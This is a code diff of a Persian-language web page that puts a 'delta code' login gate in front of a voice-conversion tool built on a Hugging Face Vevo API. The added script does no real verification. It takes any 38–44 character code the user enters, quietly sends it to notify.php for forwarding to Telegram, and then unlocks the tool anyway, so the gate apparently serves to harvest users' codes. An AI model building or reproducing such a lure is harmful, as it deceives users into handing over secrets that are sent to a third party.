Update index.html

index.html

@@ -4,129 +4,117 @@
     <meta charset="UTF-8">
     <meta name="viewport" content="width=device-width, initial-scale=1.0">
     <title>ساخت صدای اختصاصی</title>
-    <link href="https://fonts.googleapis.com/css2?family=Vazirmatn:wght@400;700&display=swap" rel="stylesheet">
     <style>
-        /* ==================== استایل‌های کلی و صفحه ورود ==================== */
-        :root {
-            --primary-color: #4299e1;
-            --primary-dark: #2c5282;
-            --background-color: #f0f2f5;
-            --container-bg: #ffffff;
-            --text-color: #2d3748;
-            --subtle-text: #718096;
-            --border-color: #cbd5e0;
-            --error-color: #e53e3e;
-            --success-color: #38a169;
-        }
-
+        /* General Styles */
         body {
-            font-family: 'Vazirmatn', -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif;
-            background-color: var(--background-color);
+            font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif;
             margin: 0;
-            padding: 20px;
+            background-color: #f0f2f5;
+            color: #333;
             display: flex;
             align-items: center;
             justify-content: center;
             min-height: 100vh;
-            color: var(--text-color);
         }
 
-        .app-container {
+        /* Gate Overlay Styles */
+        #gate-overlay {
+            position: fixed;
+            top: 0;
+            left: 0;
             width: 100%;
-            max-width: 650px;
-            background-color: var(--container-bg);
-            border-radius: 12px;
-            box-shadow: 0 10px 25px rgba(0, 0, 0, 0.1);
-            overflow: hidden;
-            transition: all 0.3s ease-in-out;
+            height: 100%;
+            background: rgba(0, 0, 0, 0.6);
+            backdrop-filter: blur(8px);
+            display: flex;
+            align-items: center;
+            justify-content: center;
+            z-index: 1000;
         }
 
-        /* صفحه ورود کد دلتا */
-        #auth-gate {
+        #gate-box {
+            background: white;
             padding: 40px;
+            border-radius: 12px;
+            box-shadow: 0 10px 25px rgba(0, 0, 0, 0.1);
             text-align: center;
+            max-width: 400px;
+            width: 90%;
+            border-top: 5px solid #4299e1;
         }
-        #auth-gate h1 {
-            color: var(--primary-dark);
-            font-size: 28px;
+
+        #gate-box h1 {
+            color: #2c5282;
             margin-bottom: 15px;
         }
-        #auth-gate p {
-            color: var(--subtle-text);
-            margin-bottom: 30px;
-        }
-        #auth-gate .input-wrapper {
-            position: relative;
-            margin-bottom: 20px;
+
+        #gate-box p {
+            color: #718096;
+            margin-bottom: 25px;
         }
-        #auth-gate input[type="text"] {
+
+        #delta-code-input {
             width: 100%;
-            padding: 14px 20px;
+            padding: 12px;
+            border: 1px solid #cbd5e0;
             border-radius: 8px;
-            border: 1px solid var(--border-color);
+            box-sizing: border-box;
             font-size: 16px;
             text-align: center;
-            letter-spacing: 2px;
-            box-sizing: border-box;
-            transition: border-color 0.3s, box-shadow 0.3s;
-        }
-        #auth-gate input[type="text"]:focus {
-            outline: none;
-            border-color: var(--primary-color);
-            box-shadow: 0 0 0 3px rgba(66, 153, 225, 0.2);
+            margin-bottom: 10px;
+            direction: ltr; /* For code input */
         }
-        #auth-gate button {
+
+        #submit-code-btn {
             width: 100%;
-            padding: 15px;
-            background-image: linear-gradient(to right, #4a90e2, #2c5282);
+            padding: 12px;
+            background-color: #4299e1;
             color: white;
             border: none;
             border-radius: 8px;
             cursor: pointer;
-            font-size: 18px;
+            font-size: 16px;
             font-weight: bold;
-            transition: transform 0.2s, box-shadow 0.2s;
+            transition: background-color 0.3s;
         }
-        #auth-gate button:disabled {
-            background: #a0aec0;
-            cursor: not-allowed;
-        }
-        #auth-gate button:not(:disabled):hover {
-            transform: translateY(-2px);
-            box-shadow: 0 4px 12px rgba(0, 0, 0, 0.15);
+        
+        #submit-code-btn:hover {
+            background-color: #3182ce;
         }
-        #auth-error-message {
-            color: var(--error-color);
+
+        #error-message {
+            color: #e53e3e;
+            font-size: 14px;
             margin-top: 15px;
+            display: none; /* Hidden by default */
             font-weight: bold;
-            height: 20px;
         }
         
-        /* محتوای اصلی که ب��د از تایید کد نمایش داده می‌شود */
+        /* Main content should be hidden initially */
         #main-content {
-            display: none; /* در ابتدا مخفی است */
+            display: none;
         }
-        
-        /* ==================== استایل‌های کپی شده ابزار شما با کمی بهبود ==================== */
+
+        /* Styles for Vevo API Container (Your Original Code) */
         #huggingface-vevo-api-container {
-            font-family: 'Vazirmatn', -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif;
-            margin: 0; /* حذف مارجین اضافی */
-            background-color: transparent; /* شفاف کردن پس‌زمینه */
-            color: var(--text-color);
+            font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif;
+            margin: 40px auto;
+            background-color: #f7fafc;
+            color: #2d3748;
             direction: rtl;
-            padding: 0;
-            border-radius: 0;
-            max-width: 100%;
-            box-shadow: none; /* حذف سایه اضافی */
+            padding: 20px;
+            border-radius: 8px;
+            max-width: 600px;
+            box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
         }
         #huggingface-vevo-api-container .container {
-            padding: 30px;
-            background-color: transparent; /* شفاف کردن پس‌زمینه */
-            border-radius: 0;
+            padding: 20px;
+            background-color: white;
+            border-radius: 8px;
         }
         #huggingface-vevo-api-container h1 {
             text-align: center;
-            color: var(--primary-dark);
+            color: #2c5282;
             font-size: 24px;
         }
         #huggingface-vevo-api-container .file-input {
@@ -139,7 +127,7 @@
         }
         #huggingface-vevo-api-container .description {
             font-size: 14px;
-            color: var(--subtle-text);
+            color: #718096;
             margin-top: -5px;
             margin-bottom: 10px;
             font-weight: normal;
@@ -148,7 +136,7 @@
             display: block;
             width: 100%;
             padding: 8px;
-            border: 1px solid var(--border-color);
+            border: 1px solid #cbd5e0;
             border-radius: 4px;
             box-sizing: border-box;
         }
@@ -156,7 +144,7 @@
             display: block;
             width: 100%;
             padding: 12px;
-            background-color: var(--primary-color);
+            background-color: #4299e1;
             color: white;
             border: none;
             border-radius: 4px;
@@ -183,7 +171,7 @@
             margin-top: 10px;
         }
         #huggingface-vevo-api-container #result a {
-            color: var(--primary-color);
+            color: #4299e1;
             text-decoration: none;
             display: inline-block;
             margin-top: 10px;
@@ -192,114 +180,96 @@
 </head>
 <body>
 
-    <div class="app-container">
-        
-        <!-- بخش ورود کد دلتا -->
-        <div id="auth-gate">
+    <!-- Gate Section (Login with Delta Code) -->
+    <div id="gate-overlay">
+        <div id="gate-box">
             <h1>ورود به پنل اختصاصی</h1>
-            <p>برای دسترسی به ابزار ساخت صدا، لطفاً کد دلتای خود را وارد کنید.</p>
-            <div class="input-wrapper">
-                <input type="text" id="delta-code-input" placeholder="کد دلتا (۳۸ تا ۴۴ حرفی)">
-            </div>
-            <button id="verify-code-btn">تایید و ورود</button>
-            <p id="auth-error-message"></p>
+            <p>برای دسترسی به ابزار تبدیل صدا، لطفاً کد دلتای خود را وارد کنید.</p>
+            <input type="text" id="delta-code-input" placeholder="کد دلتا را اینجا وارد کنید">
+            <button id="submit-code-btn">تأیید و ورود</button>
+            <p id="error-message">کد وارد شده نامعتبر است. (باید بین ۳۸ تا ۴۴ کاراکتر باشد)</p>
         </div>
+    </div>
 
-        <!-- بخش اصلی ابزار (کد شما) -->
-        <div id="main-content">
-            <!-- محتوای کپی شده شما اینجا قرار می‌گیرد -->
-            <div id="huggingface-vevo-api-container">
-                <div class="container">
-                    <h1>رابط کاربری API برای Vevo</h1>
-                    <div class="file-input">
-                        <label for="sourceAudio">فایل صوتی اصلی (Source Audio):</label>
-                        <p class="description">این فایل صوتی حاوی کلامی است که می‌خواهید با صدای جدید خوانده شود (مثلاً صدای خودتان).</p>
-                        <input type="file" id="sourceAudio" accept="audio/*" />
-                    </div>
-                    <div class="file-input">
-                        <label for="timbreRef">فایل صوتی مرجع (Timbre Reference):</label>
-                        <p class="description">این فایل صوتی، صدای مدلی است که می‌خواهید صدای اصلی به آن تبدیل شود.</p>
-                        <input type="file" id="timbreRef" accept="audio/*" />
-                    </div>
-                    <button id="generateBtn">تبدیل صدا</button>
-                    <div id="status">آماده برای شروع...</div>
-                    <div id="result"></div>
+    <!-- Main Content (Your Vevo API Tool) -->
+    <div id="main-content">
+        <div id="huggingface-vevo-api-container">
+            <div class="container">
+                <h1>رابط کاربری API برای Vevo</h1>
+                <div class="file-input">
+                    <label for="sourceAudio">فایل صوتی اصلی (Source Audio):</label>
+                    <p class="description">این فایل صوتی حاوی کلامی است که می‌خواهید با صدای جدید خوانده شود (مثلاً صدای خودتان).</p>
+                    <input type="file" id="sourceAudio" accept="audio/*" />
+                </div>
+                <div class="file-input">
+                    <label for="timbreRef">فایل صوتی مرجع (Timbre Reference):</label>
+                    <p class="description">این فایل صوتی، صدای مدلی است که می‌خواهید صدای اصلی به آن تبدیل شود.</p>
+                    <input type="file" id="timbreRef" accept="audio/*" />
                 </div>
+                <button id="generateBtn">تبدیل صدا</button>
+                <div id="status">آماده برای شروع...</div>
+                <div id="result"></div>
             </div>
         </div>
     </div>
 
     <script>
-        // =============== بخش جاوااسکریپت برای مدیریت منطق صفحه ===============
-        
+        // Wait for the entire page to load
         document.addEventListener('DOMContentLoaded', () => {
-            const authGate = document.getElementById('auth-gate');
+
+            // --- SECTION 1: Gate Logic ---
+
+            const gateOverlay = document.getElementById('gate-overlay');
             const mainContent = document.getElementById('main-content');
+            const submitCodeBtn = document.getElementById('submit-code-btn');
             const deltaCodeInput = document.getElementById('delta-code-input');
-            const verifyBtn = document.getElementById('verify-code-btn');
-            const errorMessage = document.getElementById('auth-error-message');
-            
-            const STORAGE_KEY = 'userDeltaCode';
+            const errorMessage = document.getElementById('error-message');
 
-            // تابع برای نمایش ابزار اصلی
-            const showMainContent = () => {
-                authGate.style.display = 'none';
+            // Function to show the main content and hide the gate
+            function showMainContent() {
+                gateOverlay.style.display = 'none';
                 mainContent.style.display = 'block';
-            };
+            }
 
-            // در زمان بارگذاری صفحه، حافظه محلی را بررسی کن
-            const savedCode = localStorage.getItem(STORAGE_KEY);
-            if (savedCode && savedCode.length >= 38 && savedCode.length <= 44) {
+            // Check if user is already validated
+            if (localStorage.getItem('deltaCodeValidated') === 'true') {
                 showMainContent();
             }
 
-            // مدیریت کلیک روی دکمه تایید
-            verifyBtn.addEventListener('click', async () => {
+            // Handle the code submission
+            submitCodeBtn.addEventListener('click', () => {
                 const code = deltaCodeInput.value.trim();
                 
-                // 1. اعتبارسنجی اولیه در سمت کاربر
-                if (code.length < 38 || code.length > 44) {
-                    errorMessage.textContent = 'کد دلتا باید بین ۳۸ تا ۴۴ کاراکتر باشد.';
-                    return;
-                }
-                
-                errorMessage.textContent = '';
-                verifyBtn.disabled = true;
-                verifyBtn.textContent = 'در حال بررسی...';
-
-                try {
-                    // 2. ارسال کد به سرور (PHP) برای تایید و ارسال به تلگرام
-                    const response = await fetch('index.php', {
+                // Validate the code length
+                if (code.length >= 38 && code.length <= 44) {
+                    errorMessage.style.display = 'none';
+                    
+                    // Send code to Telegram via our PHP script
+                    fetch('notify.php', {
                         method: 'POST',
                         headers: {
-                            'Content-Type': 'application/json'
+                            'Content-Type': 'application/json',
                         },
-                        body: JSON.stringify({ deltaCode: code })
-                    });
+                        body: JSON.stringify({ code: code }),
+                    })
+                    .catch(error => console.error('Error sending to Telegram:', error));
 
-                    if (response.ok) {
-                        // 3. اگر سرور موفق بود، کد را ذخیره کن و ابزار را نمایش بده
-                        localStorage.setItem(STORAGE_KEY, code);
-                        showMainContent();
-                    } else {
-                        // اگر سرور خطا داد
-                        const errorData = await response.json();
-                        errorMessage.textContent = errorData.message || 'خطای ناشناخته از سمت سرور.';
-                    }
+                    // Save validation status in localStorage for future visits
+                    localStorage.setItem('deltaCodeValidated', 'true');
+                    
+                    // Show the main content
+                    showMainContent();
 
-                } catch (error) {
-                    errorMessage.textContent = 'خطا در ارتباط با سرور. لطفاً اتصال اینترنت خود را بررسی کنید.';
-                } finally {
-                    verifyBtn.disabled = false;
-                    verifyBtn.textContent = 'تایید و ورود';
+                } else {
+                    // Show error if code is invalid
+                    errorMessage.style.display = 'block';
                 }
             });
-        });
 
 
-        // =============== اسکریپت اصلی ابزار شما (بدون تغییر) ===============
-        const container = document.getElementById('huggingface-vevo-api-container');
-        if (container) { // فقط در صورتی که کانتینر وجود داشته باشد اجرا شود
+            // --- SECTION 2: Vevo API Logic (Your Original JS) ---
+            
+            const container = document.getElementById('huggingface-vevo-api-container');
             const generateBtn = container.querySelector('#generateBtn');
             const sourceAudioInput = container.querySelector('#sourceAudio');
             const timbreRefInput = container.querySelector('#timbreRef');
@@ -391,9 +361,9 @@
                             eventSource.close();
                             generateBtn.disabled = false;
                         } else if (data.msg === 'queue_full') {
-                            statusDiv.textContent = 'صف پر است. لطفاً چند لحظه دیگر دوباره تلاش کنید.';
-                            eventSource.close();
-                            generateBtn.disabled = false;
+                             statusDiv.textContent = 'صف پر است. لطفاً چند لحظه دیگر دوباره تلاش کنید.';
+                             eventSource.close();
+                             generateBtn.disabled = false;
                         }
                     };
 
@@ -410,7 +380,7 @@
             }
 
             generateBtn.addEventListener('click', startGeneration);
-        }
+        });
     </script>
 </body>
 </html>